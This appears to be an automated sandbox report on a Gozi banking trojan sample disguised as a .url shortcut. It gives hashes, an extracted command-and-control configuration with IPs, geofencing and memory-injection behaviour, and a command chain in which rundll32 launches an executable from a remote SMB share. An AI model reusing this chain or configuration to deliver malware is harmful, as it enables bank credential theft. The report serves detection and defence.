gozi | a43f7e57a2a6e00480baf95d1e9c82332796fbb4b4873046bd1ac9bca4f68075

Analysis

max time kernel
145s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2023 12:19

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General

Target

Documenti.url
Size

193B
MD5

605a545fcf4bdb9f72cccce6f96c3b00
SHA1

3f46e6be5166cbe2e998f82d7bc43485c26ddbcf
SHA256

96a8224726b8ce8b29315536fb4b1ed66f568f9a97c0d630316dba3e5b6a5a3e
SHA512

9a70438d175c889d05e97e69ad284a5f206aa7b8267f3e7c33ee8413580bbc83dec603d16ad30550e046badbc1650ab742e02781880e7a11ae9abe0983dfbd0e

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

45.93.139.24

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	rundll32.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 2720 wrote to memory of 1220	2720	rundll32.exe	impresa.exe
PID 2720 wrote to memory of 1220	2720	rundll32.exe	impresa.exe
PID 2720 wrote to memory of 1220	2720	rundll32.exe	impresa.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Documenti.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2720

\??\UNC\62.173.146.72\scarica\impresa.exe
"\\62.173.146.72\scarica\impresa.exe"
2⤵
PID:1220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1220-1-0x0000000002510000-0x0000000002610000-memory.dmp

Filesize
1024KB

Download
memory/1220-2-0x00000000023E0000-0x00000000023EB000-memory.dmp

Filesize
44KB

Download
memory/1220-3-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/1220-4-0x0000000002400000-0x000000000240D000-memory.dmp

Filesize
52KB

Download
memory/1220-7-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/1220-8-0x0000000002510000-0x0000000002610000-memory.dmp

Filesize
1024KB

Download
memory/1220-9-0x00000000023E0000-0x00000000023EB000-memory.dmp

Filesize
44KB

Download